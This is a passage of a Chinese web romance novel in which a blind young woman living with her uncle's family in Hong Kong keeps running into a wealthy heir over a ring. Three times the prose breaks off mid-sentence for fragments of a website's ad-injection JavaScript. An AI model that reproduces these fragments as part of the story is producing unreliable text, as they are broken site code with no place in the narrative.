“昨天我还在想,戒指会多长时间回到我手中。如果超过二十四小时,是不是应该请警察帮忙找回。” 沈有容伸出手,那枚方型镶嵌的钻戒静静躺在他掌心,溢彩流光。 “它被送到我桌子上时,刚好二十一小时。” 微不可闻地,黎泱松了口气。 同时心里闪现一个念头:以后绝对!绝对不要再招惹这个人! 太危险了。 她鼓足勇气说出斟酌已久的措辞: “昨天在天台上,是我不小心把戒指弄掉带了回去。但并不是有意那样做,发现后我就想要赶紧还给你。” “包括上次在商场的事,是我不应该插嘴的。”黎泱语气十分诚恳,“所以沈总,对你这样日理万机,时间就是金钱的人来说——” “嗯?” “所以,能不能,不和我计较这点小事?” 沈有容注视着黎泱,看到她今天穿着一身水洗蓝的牛仔裤和白T,把头发扎了起来,露出了纤长的脖子。 脸上还是蒙着那条白色纱布,看不见她说话时的眼神情绪。但沈有容猜想,也许也是装出一副真切恳求的样子? 是了,是“装出”。 戒指的事不提,可沈有容不是白痴,当然能听出黎泱在说起商场那件事时自动降低了语气。 说明在她心里,自己还是那个舍不得给女生买包的。 沈有容轻笑了一声,没什么情绪。 “哦,这样。” 他点了下头,就在黎泱以为事情要结束的时候,又听见不紧不慢地接了句: “那如果我不答应,你是打算拿手里的叉子对我做什么?” 这人—— 黎泱现在才反应过来,她手里还握着刚才因为紧张下意识拿在手中的银叉。她立刻把叉子放回桌上,朝沈有容摊开双手: “现在可以证明我的诚意了吗?” 沈有容睨了她一眼,觉得自己倒像成了什么故意为难人的反派一样。至于商场的事,他也懒得和黎泱解释。 他就是这样的性格,不想浪费时间花在无关紧要的人和事。 反正以后也不会再见面。 “出去吧。” 黎泱有些不敢相信,真的放过她了? “那......我走了。” 没得到回复。 她凭着来时的感觉朝门的方向走去,沈有容侧过身,目送黎泱离开。 项怀英一直守在门外。见门打开他看向沈有容,后者朝他递了个眼色。项怀英会意,跟在黎泱身后将她送回了刚才来的地方。 回去的路上,黎泱主动开口:“你认识沈总?” “是,我是他的管家。” 黎泱说了句“难怪”。项怀英问她是不是因为刚才骗她的事而生气,黎泱摇了摇头,“并没有,这件事确实是因为我产生的,你怀疑我是常事。” 只是她努力想要避开和沈有容正面接触,最后还是遇上了。 不过,好在沈有容似乎也不打算再和她计较。 她的生活能重新回到正轨了。 . 晚饭时间,黎泱从餐桌上嗅出了剑拔弩张的微妙气氛。 孟序说到了下午孟今妍去公司送下午茶的事,本来是觉得欣慰想要赞赏两句:“今妍长大懂事了。” 结果许姿突然接过了话题,话锋一转:“我听今妍说是你拦着不让她去给沈有容送东西的?” “是我做的。公司人多眼杂,我们和沈总又没有关系,怎么能让今妍一个姑娘贸然去找沈总?” 孟序不是不知道许姿心里在想什么。正是因为太清楚,所以才要及时制止。 沈家在港城是什么身份地位,多少人急迫脑袋想要攀附关系,怎么可能轮得到孟家? 许姿“啪”的一声放下筷子,冷哼道:“怎么不能,你以为我为什么要让今妍去?孟序,你是她爸,怎么一点都不为女儿考虑!” 黎泱默不作声坐在席间,机械般扒拉着碗筷,努力降低存在感。但很快,战火还是波及到了她身上。 “我看你这段时间的心思根本就没有放到家里。整天早出晚归说是忙公司业务,可我问了别人,那个点根本不是上班时间。 对自己的女儿和妻子不在意,还带回来个吃白饭的瞎子回来——” “好了——” 孟序拍了下桌子,制止了许姿再往下说。“你在饭桌上说这些做什么?真有什么事晚上回屋关上房门慢慢说。” 许姿明显还有话没说完,但见孟序的态度也只好悻悻作罢,推开椅子离开了餐桌。 一顿饭吃下来气氛压抑。黎泱放好碗筷,说:“我吃好了,先回房了。” “小泱。”孟序叫住她,声音有些疲惫:“刚才你舅妈说的话不要往心里去。她说话就是这样,脱口而出,但没有恶意。” “我知道了,舅舅。” 恶意啊。 就算察觉到又有什么办法呢。 寄人篱下,就要做好这样的觉悟。 黎泱躺在床上,横着胳膊挡住脸。她突然想到以前上学的时候,听老师说过“门”这个字。 你看,只是普普通通的木材,经过加工,和石砌的墙壁组合在一起就成了每个人藏着隐私自以为无坚不摧的“家”。 这么一想是不是觉得很矛盾又可笑? 可黎泱到现在也没有找到属于自己的门,没找到能真正栖身的家。 她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叹了口气,知道自己不能再乱想。明天孟序还要带她去复查眼睛,今晚要早点睡。 黎泱刚想酝酿睡意,就听到了敲门声。 是孟今妍。 “他们在我隔壁吵架,动静挺大的,吵到我了。”孟今妍说:“我在你房间睡一晚。” 黎泱当然没意见。但她忽略了一点,孟今妍是个夜猫子,喜欢熬夜。 孟今妍和朋友打着电话,说的是粤语,黎泱听不懂。她侧躺着,根本听不出说的是些什么内容。 忽然,黎泱好像从孟今妍口里听到了个有些熟悉的名字。 “你唔知,我连沈有容嘅影子都冇睇见......对啊,典礼那天佢根本就没注意到我。也唔知到底边个才被佢睇上眼。” 沈有容,原来在粤语里是这三个音么? 黎泱在脑海中又无端浮想起白天时他的嗓音,还有被刻意放慢语速说出的她的名字。 ——很奇怪的感觉。 从小到大,这是黎泱第一次从别人口里听到自己名字时会觉得奇怪。 她拉上被子盖过头顶,企图转移注意力让自己别再多想。反正不是一个世界的人,以后也不会有交集了。 隔天是周末,孟序要带黎泱去医院复查。临出发前黎泱去书房找孟序,在门外隐约听到了屋里的争执声。 “你现在倒是要当好舅舅了,那十几年你怎么不把黎泱找回来?” “说到底,你也不敢对她说出那件事的真相——” 哪件事?又是什么真相? 黎泱不知道许姿的话是什么意思,还想再往下听的时候对话却戛然而止了。 他们要去的是家有名的私人医院,医生在业内也有不小的知名度。路上,孟序主动开了话题:“原本我想去拜访谈老院长请他出面,但他现在已经退居幕后很少接诊了。” “没事舅舅,你已经为我操心很多了。” 手术已经过去一个多月,黎泱的眼睛却迟迟没有恢复。别说正常看见,连光点也感觉不到。 她甚至已经在心里做了最坏的打算:要一辈子生活在黑暗中。 到了医院,黎泱被护士引去做检查。一系列的检查做完,医生让她摘下了纱布,打着手电筒查看她的眼睛。 “能察觉到细微的光线吗?” 黎泱摇了摇头。 医生看了她的病例,又问了她是不是术后一直没有取下过纱布,得到肯定的结果后给出建议: “可以适当多接触点光线,适应现在的环境。你之前失明太久,眼睛一时半会不能适应光亮也很正常,要给它恢复的时间。” 黎泱记了下来,等结束的时候便紧遵医嘱没再系上纱布了。 等她出诊室后却发现孟序不在门外,不知道去了哪里。黎泱只能站在原地等他,一边拜托护士帮忙寻找。 过了十几分钟后孟序还是没有出现。到了这一刻,黎泱的心绪越发低沉,像蒙上了一层厚重阴影。 十五岁那年经历过的事仿佛昨日重现。 也是在医院,也是她出诊室后再也找不到养父母。 她被收养后再弃养,成了被放弃的选择。 现在,这样的事又要重新发生在她身上了吗? 8. 不夜8 8 “所以你让我在楼下了等了这么久,是乐于助人去了?可真难得,有朝一日能从你谈由口里听到这四个字。” 沈有容推开车门下车,按照谈由发来的地址进医院找人。 沈谈两家是世交,他和谈由也是多年好友。两人今天约了见面,谈由被他爷爷叫去医院送样东西,所以才和沈有容约在医院碰面。 距离约定的时间过去二十分钟,谈由才一通电话打来:说自己现在充当了热心市民,一时半会走不开,让沈有容进来坐会。 等沈有容找到人,才发现谈由旁边坐着个姑娘的背影。 他无声挑眉看向谈由,意思是:这就是你口中的乐于助人? 谈由一本正经解释:“遇到了一个和家属走散的姑娘,她眼睛又看不见,让人多不放心啊。这还是在我家的医院,当然得帮她找人咯。” 沈有容反问:“怎么,今年感动中国要给你投票么?” 谈由:“......” 怎么听着像在骂他呢? 沈有容怎么可能信谈由的话。谈家是医疗领域的领军,谈由又是这一代唯一的孩子,自然是众星捧月惯了。他八成是对人家姑娘有意思才会大费周章亲自帮忙找人。 “你别担心啊,我已经让人去广播了。”谈由难得有耐心,没说粤语,用有些生硬的普通话安慰旁边坐着的女孩。 沈有容的视线这才注意到女生,觉得身形有些熟悉。直到女孩抬起头,泛着泪光的通红眼眶和脸庞撞进了他的眼底。 “黎泱?” . 十分钟前。 “给我五分钟,马上到。” “我当然说的是真话啊,谁敢放你沈公子的鸽子。” 谈由一边揶揄电话对面的沈有容,一边出电梯穿过门诊走廊,朝一楼出口走去。 忽然,从拐弯处的墙角窜出一个推着轮椅的病人,谈由避之不及慌乱侧过身,不小心撞到了旁边站着的一个人。 “唔好意思啊......” 谈由原本想对那人说句抱歉就离开,结果抬头就看见了女生满脸的泪痕。 他被吓了一跳,还以为是自己刚才把人撞哭了。谈由从小被教育女孩子一哭就是大事,脑袋立刻大了,连忙解释说:“靓女,你别哭啊,我头先要躲轮椅才唔小心撞到了你。你要系唔接受道歉嘅话,我补偿你行咩?” 要命要命,难道他刚才真用力把人装疼了?这姑娘眼睛怎么红成这个样子啊。 过了几秒谈由才发现不对劲。因为那女生的瞳孔好像从来没有动过,就像......洋娃娃的眼睛一样。美则美矣,却没有生机。 这里又是眼科,所以她是眼睛看不见吗? 黎泱听不懂面前的人在说什么。她一直站在原地想等孟序出现,可是却迟迟等不到他的消息。 当初被弃养的经历又重新涌上心头,让黎泱越来越绝望,也根本没有心思去想被人撞到的事。 她还是被丢弃了。 她永远都是不会被选择的那个。 她好像永远都不会找到她的门和家了。 就连眼泪是什么时候涌出眼眶的,黎泱都没有察觉到。 谈由见黎泱没有回应,突然灵光一闪想到她是不是听不懂粤语。于是换了普通话问:“你是遇到什么事了吗?” 路过的护士说明了情况。谈由自觉是他有错撞到了人在先,加上这又是在他爷爷的医院,于是才主动说要帮黎泱找人。 “你认识她?” 听到沈有容说了个陌生的名字,谈由疑惑看着他。 黎泱也听到沈有容的声音。 她有些怀疑地循着声音的方向,试探地问:“沈总?” “是我。”沈有容站在她面前,目光盯着黎泱的眼睛。这是他第一次看清她的完整脸庞。 以往黎泱都用纱布遮住了大部分面容,从鼻梁到眉毛处都被挡住,只露出小巧的鼻尖和嘴唇。现在纱布被取下,神秘的面纱终于被揭开。 她的五官足以用惊艳来形容。一直被遮住的眼睛形状很好看,眼角弧度恰到好处,瞳孔乌黑由带着剔透,右眼下的两颗泪痣更是点睛之笔。 但同时,会让人越发觉得遗憾,感慨命运为何偏要制造残缺。 明明给了一扇最明亮的窗户,却始终让世界深处黑暗当中。 真矛盾,也真残忍。 沈有容移开视线,“你舅舅孟序呢?” “我们走散了,我做完检查出来就找不到他了......” 黎泱的鼻音很重,明显哭过。说话的同时,眼角又涌出滚烫。她用手背抹了抹,用力得仿佛要遏制住泪腺,于是又加重了眼眶的泛红程度。 沈有容不易察觉地皱了皱眉,看了谈由一眼。后者还不明所以,不知道他想干什么的时候,就被沈有容伸手抽走了他领口装饰的手帕。 “等等,你......” 沈有容没理会谈由,直接把手帕放到了黎泱手里。 “黎泱,你属兔子的吗?” 黎泱不明白他怎么突然问到了这个话题,但还是下意识回了:“嗯?不,不是。” “是吗,我还以为你是要学哭红眼的兔子。” 黎泱不说话了。 她觉得如果此刻自己能看见,那么沈有容脸上一定是戏谑的表情。 她以为那手帕也是沈有容的东西。想到上次在恒天的茶水室,沈有容对她说的那句“原本打算如果超过二十四小时就去报警”,黎泱觉得所有和沈有容有关的东西她都最好敬而远之。 于是把手帕放到了一边,不放心,还特意往旁边挪了个座位。 沈有容把她所有的小动作都尽收眼底。 明面上倒没说什么,只是在心中若有所思。 这么怕他? 不想和他有一点关系。 一边的谈由也琢磨出了不对味。他用胳膊肘顶了顶沈有容,对他挤眉弄眼小声说:“怎么人家一点都不想搭理你?沈少,不应该啊,滑铁卢了?” 他这话说的不假。沈有容回国后,港城多少人都眼巴巴盯着企图入了他的眼和他搭上关系。 怎么到了黎泱这里,一副唯恐避之不及的架势? 沈有容没回谈由,恰好手机铃声响起,来电显示是他母亲。 “妈,怎么了。” 沈夫人东拼西揍闲聊了会,明显不擅长说谎,很快就被沈有容问出了真实目的: “有容,你最近有空吗?有几家的夫人约我出去喝下午茶,她们女儿和你同龄......” 沈有容曲起食指按了按眉心:“不太有空,谈由有事一直找我。” 几步外的谈由打了个喷嚏,感觉背后一凉。 沈夫人挠了挠头发,为难地说:“真的一点时间都没有?” “没有。”沈有容一本正经:“妈,我觉得你的注意力应该放在裙子和护肤上。沈汀仪上次说女人操心容易长皱纹。” 沈夫人啊了一声,问坐在旁边的沈父:“我我我长皱纹了吗?” “他在诓你,怎么还这么容易上当?”沈父声音无可奈何。 “这坏人我可不做了,还是交给你好了。”沈夫人突然又说:“诶,我刚刚好像听到有容身边有女孩子的声音?” 沈有容闻声回头,发现是黎泱在和谈由说话。 他还没来得及回复,就听到沈夫人语气转为喜悦:“还说是和谈由见面,原来是在陪女孩子。好了好了,这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 样我就有回绝他人的理由了。” 沈有容知道如果此刻不顺着母亲的话往下走,那么这通电话就会被无限延长。“这里有事先挂了,晚点打回去。” 终于有工作人员来说:“找到那位孟先生了。” 原来是孟序始终记挂着想找那位德高望重的谈院长给黎泱看病。所以他才趁着黎泱检查的时候,又想去碰碰运气。 没想到这次刚好碰上谈院长在医院,他接见了孟序。两人关了办公室的门在交谈,因此才没有注意到外面的动静。 孟序心急如焚被人领着去找黎泱,在看到她身边站着的两个人影后脚步一顿,心底吃了一惊。 他认出这两位在港城都是赫赫有名的身份,惊讶于黎泱怎么会和他们待在一起。 “沈总,谈少,好巧在这里遇见。” 沈有容微颔首:“在路上碰到她在找你,谈由便主张帮忙找人。” 孟序忙不迭点头回应:“有劳两位了。”黎泱在旁边跟着说了句“谢谢”。道完谢,孟序便带着黎泱离开了医院。 谈由看着两人离开的背影,好奇地问沈有容:“你怎么会和那女生认识的?” 听对话,这两人绝对不是第一次见面。 沈有容把车钥匙扔给谈由,戴上墨镜,拨弄了两下手上的银戒。三言两语把谈由话里的探究意味给戳破。 “不熟,只见过几面。” 只见过几面就记住了人家的名字,还一眼就认出了?谈由忍不住在心里腹诽,但又不敢当着沈有容的面说出口。 他伸手发动汽车,忽然听到沈有容问了一句:“听说谈老院长退居二线后,已经很久没有再接诊了?” “嗯,是啊。老爷子前几年一门心思花在写书上,医院大部分事务都是下面人在管。”谈由疑惑发问:“怎么,你眼睛出问题了?终于把自己作成近视了?” . 从医院结束出来,黎泱害怕被看出她在医院的失态,又重新蒙上了纱布。 孟序很关心她的复查结果,将医生交代的都记得清楚。“恢复期间要清淡饮食,回去后我会吩咐厨房做饭时注意。” 黎泱听得心头触动。想到自己一开始抱有的会被抛弃的想法,情绪复杂。 她在港城已经待了半个月,每天的活动轨迹几乎全都是在孟家。黎泱能感觉到孟家的态度。许姿对她的到来不算友善,孟今妍对她更多的是看不起和不把她放在眼里。 但孟序却格外关照她,为此许姿还和他吵过架。 这就越发导致黎泱的处境尴尬,小心翼翼如履薄冰过着每一天。许姿在的时候,她都尽量待在房间不出门。 黎泱和孟序回到家的时间是下午。平常这个时间许姿都应该出门参加茶话会了。 但今天黎泱刚下车,就察觉到家里的气氛怪异。 许姿没有出门,而是一直在等他们回来。 “我今早才从别人口里打听到一件事。孟序,你这段时间托关系找人,又是送钱又是送礼,原来是想搭上谈老院长请他出山看病。” “你不花心思在你自己女儿今妍身上,反而对黎泱一个瞎子这么上心。好啊孟序,你还不如干脆认她做女儿好了——” 许姿情绪激动,站在客厅指着孟序大声喊话。家里还有做工的佣人,见到这幅情节都在偷看。 孟序赶紧上前拉住许姿:“你说这些做什么?先冷静下来。” 许姿不依不饶,甩开他:“我怎么不冷静了?从你要把黎泱接到港城来我就告诉过你,给她一笔钱不就好了!偏偏你不肯听要把她接搭配身边照看。 呦,外面不知道的都说你这个当舅舅的心善,可我清楚,你这只是心虚——” “因为你对不起她父母!” 9. 不夜9 9 许姿那句“因为你对不起她父母”说得掷地有声,让黎泱身形一顿。 对不起? 为什么会对不起她的父母? 从黎泱的角度,她对孟序这个舅舅是心怀感激的。早年黎母和家里断绝关系后再没有往来,加上父母出车祸时她还太小,黎泱在之前甚至不知道孟序的存在。 如果不是他把自己从嘉市接到港城,她不知道还要在孤儿院待多久。 无论怎么看,孟序对黎家都有恩。 可许姿为什么会说他对不起自己的父母? 黎泱想起在书房外听到的孟序和许姿的对话,那时候许姿也提到了“那件事的真相。” 会不会是和那件事有关? 可那件事又究竟是什么? 种种困惑浮在黎泱的心头,能告诉她答案的只有孟序。 ——但他并没有要继续谈论这个话题的态度。 孟序叫来小梅让她把黎泱带回房间,没有让她留下的意思。没办法,黎泱只得顺势上楼,却在心底记下了这件事。 许姿看到这,冷哼一声不屑道:“她父母都去世了十几年你才找到她,现在后悔良心发现,可有点太晚了吧?” 孟序看了眼黎泱紧闭的房门,拳头握紧又松开。他神情疲惫地坐在了沙发上,双手抱着额头。 “我是后悔了,所以才想补偿小泱。没有当年的那笔钱,我们家也不会有今天。可现在让我选,我宁愿不要——” “所以你现在是怪我,怪我让你拿了那笔钱?” 许姿浑然不觉,语气俨然一副自己一点过错都没有的样子。“好,就算你是被我教唆,可你敢说你没动过那个念头?孟序,你自己心里可清楚是怎么一回事。” “那比钱是我两一起拿的,现在谁也逃不掉干系。现在你说后悔,哪有你后悔的机会?” . 沈家。 沈有容回国后便从家里搬了出去,一个人住在浅水湾的别墅。沈家的宅院在半山,沈父沈母还有三小姐沈汀仪住在一起。 每周六晚是固定的家庭聚餐时间,都要回到半山的宅院。沈有容刚下车,就看见一团身影朝他飞快跑来。 他伸出手臂悬在半空,指着那团人影说:“不许撞我。否则这个月你别想从我手里骗走一分钱。” 沈汀仪硬生生刹住脚步,震惊地捂住胸口:“二哥,你是怎么说出这么让人心寒的话。一分钱也不给,太小气了吧?” “是吗。”沈有容看不下去她浮夸的演技,直接终结了对话:“好巧,你不是第一个这么说的人。” “......” 不对,竟然还有人也这么对沈有容说过? 是谁和她抱着一样的想法!沈汀仪真恨不能当场见一面。 沈有容光是看一眼就知道她心里在想什么,伸手轻弹了下沈汀仪的额头:“收起你那天马行空的想象力,想一直站在外面吹冷风吗?” “二哥,在我之前说你的那个人是谁啊?我认识吗?” 不认识,但你当时就在现场。 沈有容在心里回答了,没说出来。否则以沈汀仪刨根问底的性格,能喋喋不休一直追问。 餐桌上,沈夫人庄明意和现任家主沈铮早已等候多时。一见到沈有容出现,庄明意的眼睛一亮。 沈有容心里一顿。 他面不显色,拉开了椅子坐下,随口说:“大哥刚从公司回来,还有几分钟就到。” 庄明意原本要说的话被打断,思路不由地下意识跟着他走:“闻时一门心思都放在了工作上,周末还赶去公司加班,和你爸年轻时一样。从前我头疼他,现在又要头疼你大哥。” “下一个该头疼二哥了。”沈汀仪在旁边看热闹不嫌事大。 沈有容睨了她一眼,曲起食指在桌面上扣了两下。后者立刻焉了气息,缩了缩脖子。 庄明意被沈汀仪这句话一点,跑偏的话题终于转回来了。 “宋夫人的女儿今天回港城,她和你在英国留学时是校友,念叨着想和你叙旧见一面。刚好下周南边度假区的高尔夫球场开业,宋夫人托我问问你的意思。” 说完,庄明意就在等沈有容的反应。 到了他们这个年纪难免开始关注起子女的婚事,但庄明意对这种事尤为不熟练。 她最先操心的是大儿子沈闻时,毫无意外地碰壁了。就像她在前面说的,沈闻时身为长子和继承人,管理着大半集团业务,生活重心全放在了工作上。 在沈闻时察觉到母亲的举动后,温和间接地回应现阶段没有要考虑婚事的想法。 庄明意受挫后参加茶会遇到其他家的夫人太太,明里暗里被问起了子女的事。 对比其他已经做了婆婆或即将升辈分的人,庄明意回去郁闷了好几天后,决定重振旗鼓,把目标放在了沈有容的身上。 沈有容觉得在场所有人的注意力都放在了他身上。 庄明意骐骥的眼神不用说,沈汀仪是不会放过看热闹的。就连素来不关心这些事的沈铮,都把视线从报纸上移开悄悄看向了他。 “看来我回来的时间刚刚好。” 一道颀长的身影从外踏进,话音沉稳谦和。正是沈家的长子沈闻时。 他在沈有容旁边坐下,笑着说:“看这场面,今天的主角终于成了有容。” 在沈闻时的调侃下,大家放松下来。沈有容端起杯子喝了口,说:“没时间,推了吧。” 庄明意迎来她的第二挫,虽然是意料之中的结果但还是想再挽回一下。 她叹了口气,话音沮丧:“但我总不能直接用没时间三个字来回绝宋夫人吧?哎呀,坏人怎么总是我去当......” 沈铮放下报纸,眼神略带责怪看着沈有容。 沈闻时淡定切着牛排,侧过头分了个眼神给自己的弟弟。意思是:喏,轮到你了。 “那就说我有约好了。” 庄明意继续输出:“又是和谈由?还是工作上的人?总不能你的生活里没有异性吧......” “是女生。” “你在电话里听到的那个人。” . 黎泱被手表铃声吵醒睁开眼,光线有些刺眼,她下意识用手背遮了下眼眶。 等到几秒过后,黎泱突然意识到了什么,猛然撑住手臂坐了起来。 光线—— 她......能感知到外界的光线了?! 黎泱将手臂慢慢拉远离开眼眶,透过指缝,她看见了微弱的光亮投射在视网膜上。 即使外面的景物仍然模糊不清,在她的眼中只是一个个甚至不能分辨出色团的光点。 可黎泱觉得欣喜和激动。 她的世界已经足足五年没有过光亮。有的只是日复一日的无边黑暗,和看不到尽头的混沌。 但现在,混沌黑暗被撕开了一道裂缝,有光照射进来了。 她的眼睛终于有了好转的迹象。 是一个预兆吗? 黎泱不知道能谁分享这个喜悦。孟今妍和许姿对她的事并不关心,孟序看起来很关注,可想到前两天他和许姿那段意味不明的对话,黎泱还是迟疑了。 “那件事”的真相是什么,为什么许姿会说孟序对不起她的父母? 疑云一旦升起,就再也不能抱有平常心。 就在这时,手表再次震动,将黎泱的思绪拉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 回现实。她本能地接通,却并不知道打来的是谁。 手表是盲人的款式,有自动报时和来电通知功能。但这是通陌生号码,不在原有的联系人列表中。 “喂?” “是我,沈有容。” 黎泱静默了一瞬,还以为是自己没睡醒出现了幻听。 沈有容怎么会找到她,为什么大清早给她打电话? 难道是......之前戒指的事还没完? 果然是这样。她就知道沈有容不会轻易放过她。 短短几秒内,黎泱已经在心里百转千回。前面眼睛好转的喜悦也没了,世界又阴云密布了。 沈有容听到电话那头安静下来。如果不是有微弱的呼吸声,会让他怀疑黎泱已经挂了电话。 项怀英端来了手磨咖啡,结束后却并不急着走,留在一边含笑看着沈有容的反应。“约女孩子可需要耐心。” 沈有容看了他一眼又低下头,食指一下又一下点在桌面上。 “黎泱,我知道你在。” “......” 她想不在。 怎么办,现在能装成不小心挂掉吗? 黎泱决定贯彻沉默是金的准则,屏住呼吸等着沈有容的话。 那天在茶水间放她离开是因为没想好要怎么报复?是了,过去这么久又联系上她,肯定是想清楚了。 沈有容会告诉孟序吗?如果让孟家知道了这件事,他们肯定不敢和沈有容作对——那么到时候,自己又会成为被丢弃的那个。 黎泱觉得她苦苦追寻这么久的安稳才是最奢求的事情。命运好像总爱和她开这种玩笑,到头来又在即将抓住的时候,被告知一切幻灭成空。 她的心里蓦然泛起了酸楚和委屈,情绪开始不对。 “周三有空吗?见一面。” “......只有我们两个?” “是,我和你。” “一定,要去吗?” 沈有容想到项怀英的话,顿了顿语气:“我希望你去。” “好,我知道了。”黎泱觉得嗓子莫名发干,鼻音不自觉加重。 电话那头的沈有容怔住,眼眸意外地闪过一丝超出掌控范围内的失措。 虽然只有短暂的一瞬。可当他后知后觉察觉到时,已经犹如湖中心泛起的一圈涟漪。 ——逃不掉最后的愈演愈烈。 沈有容莫名觉得有些烦躁,没由来的。为的是什么?天气,公司事务,那晚家庭聚会对母亲脱口而出的约定,还是......电话那头压抑的哭腔? 他看了眼手上的戒指,好巧不巧,戴的就是那天被黎泱还回来的那枚。 沈有容把戒圈从手指上摘下,就着灯光细扫了两眼。当初从拍卖会上买下后被他归为了普通藏物,随手搁置在了抽屉中。偏偏就职典礼那天他拉开抽屉,毫无征兆地选了它。 以至于后来戏剧般被黎泱带回家,又很快像烫手山芋一样物归原主,都让沈有容开始重新审视,有意或无意,总之扩大了佩戴它的频次。 按照沈有容以往的习性,在黎泱问出“一定要去吗”的时候,就不会再继续后面的对话。 因为那句话的潜台词是在告诉对方,她不愿意。 沈有容没有强人所难的习惯,也没有人值得他那样做的。 可现在—— 他把戒指向上一抛,伸出手,没有经过任何的测量和估算。 戒指稳稳的落在了他的掌心。 “没什么事的话我就挂了。” 黎泱温吞的声音透过听筒传出。沈有容覆掌,在她话音完全落下前开口了: “黎泱。和我见一面,就这么委屈?” 10. 不夜10 10 “那我要怎么做,难道还应该对你表示感激涕零?”黎泱此刻已经抱着破罐子破摔的念头了: “你们有钱人都抱着这种折磨人的爱好吗?明面上说不计较,可哪天心情不好了又翻起旧账,拿人当出气筒。” 她真觉得恼火。原本清早发现眼睛有好转迹象的喜悦早就被消矣殆尽,于是说出的话不受控制地带上了愠气。 “沈有容,你就是吃准了我不敢戳穿你。你这种人......” 沈有容从黎泱喋喋不休的话中终于嗅出了一丝不对味,明白了什么。可他偏偏忍住了打断她的话去揭穿真相,反而格外耐心地听完了黎泱的话。 等到黎泱卡词顿住了,沈有容才终于慢条斯理开口: “我这种人怎么了?” “兔子急了也会跳起来咬人的!你信不信我马上就把你舍不得给女朋友花钱的事说出去——” 黎泱现在终于体会到了“破釜沉舟”和“鱼死网破”这两个成语,也懂了“壮士一去兮不复还”的心态。 她对着沈有容说出这样的话,在他眼里大概是真的疯了吧? 但那又怎样。不反抗就要被压迫,反正沈有容都出尔反尔要报复了她,她还顾忌什么? 黎泱从没底气的自我安慰慢慢有了底气。然而刚刚积攒了一半的底气还没来得及消化完,就被沈有容接下来说出的话给打回了圆形。 “我怎么不记得自己说过要出尔反尔翻旧账。” “黎泱,你的理解能力,”沈有容停顿了一下,可能是在组织措辞:“有够奇特的。” “......” 长达半分钟的寂静。 最后换来黎泱从床上摔下去。 天。 黎泱望着天花板欲哭无泪,仔细把刚才的通话回想了一遍。 难道真的是她过度解读了? 可沈有容突然说要约她见面,换做是谁第一反应不是觉得自危? 自己和他又没什么接触,两个根本不熟的陌生人要见什么面。除非是沈有容脑子出了问题。 沈有容看到了项怀英在一边打了个手势,示意他有会议即将开始。于是收了继续逗黎泱的心思。 “我约你见面是为了应付另一个无聊的会面,打发时间。” 黎泱心说难道和我见面就不无聊了?你不如直接推了。毕竟和沈有容待在一起她还要提心吊胆。 “作为交换的条件,我答应你任意一个要求。” “成交么?” . 项怀英见沈有容出来,立刻迎了上去。“黎小姐答应了?” 沈有容从他手里接过文件夹翻看,把上面出现的数据都在脑海里过了一遍。闻言淡然地开口:“没有。” 项怀英吃了一惊。 “如果我没记错的话,这好像是少爷你第一次主动给别人打了这么久的电话。嗯,虽然结果不尽如意。” 他突然冒出这么一句话,等着看沈有容的脸色。 虽然身为从小看着沈有容长大的管家身份来说不太地道。但——多新鲜,沈二少能在别人手里吃了闭门羹。 这件事要是传到沈家人的耳中,一定会被喋喋不休地追问念叨着。 沈有容合上文件夹,重新塞回项怀英的手中,似笑非笑盯着他:“你现记忆力越来越不错了。” 项怀英看出他心情不佳,只得无奈耸肩,就此带过话题。但心里还是忍不住腹诽:这位黎小姐,还真不一般。 . 黎泱莫名打了一个喷嚏。 她在孟今妍进门前一秒挂了电话,摸索着从地上爬起来。孟今妍推门看到她这么狼狈的样子,撇撇嘴:“你睡觉从床上滚下来了?” “呃,刚才不小心......” “我刚刚好像在外面听见你和谁在打电话?” 孟今妍本来就是随口一问,压根不关心黎泱的回答。结果是后者心虚,不会撒谎,支支吾吾半天没有回答。 黎泱能怎么说?她刚才挂了沈有容的电话——对,就是那个顶级豪门沈家的二公子——孟今妍有意接近结果人家压根不分神搭理。 当沈有容开出“用任意一个条件”来交换“约她见一面”时,黎泱的第一反应是:他肯定在开玩笑。 她何德何能,一个放进人群堆里不会被认出、又毫无身份背景的普通人,能有殊荣得到沈有容的一个约定条件。 说出去真的有人会信? 别逗了。 于是她就这么直接挂了电话,没有对沈有容的话做出任何回复。 孟今妍来找黎泱是来告诉她孟序去了新加坡出差的事。不知道是最近和许姿争吵后的临时起意还是本来就有的业务安排,总之孟序在清早坐了最早一班航班离开了港城。 听到这个消息,黎泱有些措手不及。 “舅舅有说要出差多久吗?” “好像是两个星期?反正有半个月吧。” 半个月。 黎泱有些头疼,那么她接下来半个月的日子恐怕不会好过了。 原本她在孟家的处境就有些尴尬。许姿对她有莫名的敌意,不止一次当着所有人的面抱怨孟序不该把她接到港城;孟今妍表面倒不会有排挤的行为,因为她从心底就从未正视过黎泱。 在她看来,一个失明又没有接受过良好教育的瞎子,眼界和能力根本不足以和自己相提并论,也构成威胁放在心上。 孟序在的时候,家里至少还能维持表面的风平浪静。现在他离开,这层伪装实在有些岌岌可危。 可那也没有办法。只能装出无事发生,默默忍受过去。 毕竟这是孟家。而黎泱只是一个寄人篱下的外姓人。 可是,她真的什么都不能做吗? 黎泱可真讨厌这种毫无准备,只能任人宰割的状态。 有没有一种办法,至少让她有点底气,不至于在紧急情况真的来临的时候束手无策? 也许......是有的。 她想到了什么,按了手表,说出指令:“帮我拨打最近的通话号码。”手表很快做出反应:“已为你找到最近通话号码,是否确定拨出?” 这时候,黎泱又有些迟疑了,迟迟没有下定决心有所行动。 直到最后一刻经历完心里斗争,想着最差的结果也不过是再被沈有容嘲讽一番,她又没什么能失去的,于是黎泱咬牙说了“是”。 电话拨出去了。 嘟嘟了几秒后,很快被接通。 黎泱本来还心存侥幸,心想她刚才直接挂了沈有容的电话,对方会不会生气不接或者故意晾她一会。 结果没想到这么快就打通。她只好硬着头皮,趁着刚才做的心理建设还没消失前,一股脑说出:“沈有容,我答应你刚才说的约定,我们成交。” 她说完,听到电话那头一时没有动静。黎泱心里有些慌,又特意补充了一句:“你......不会出尔反尔,不认刚才的话了吧?” 这时,手机那端才有了声音。出乎意料的,不是沈有容的声音。 而是一道听起来温润如玉,气质更为沉稳的男声。 “抱歉,我不是机主本人。” 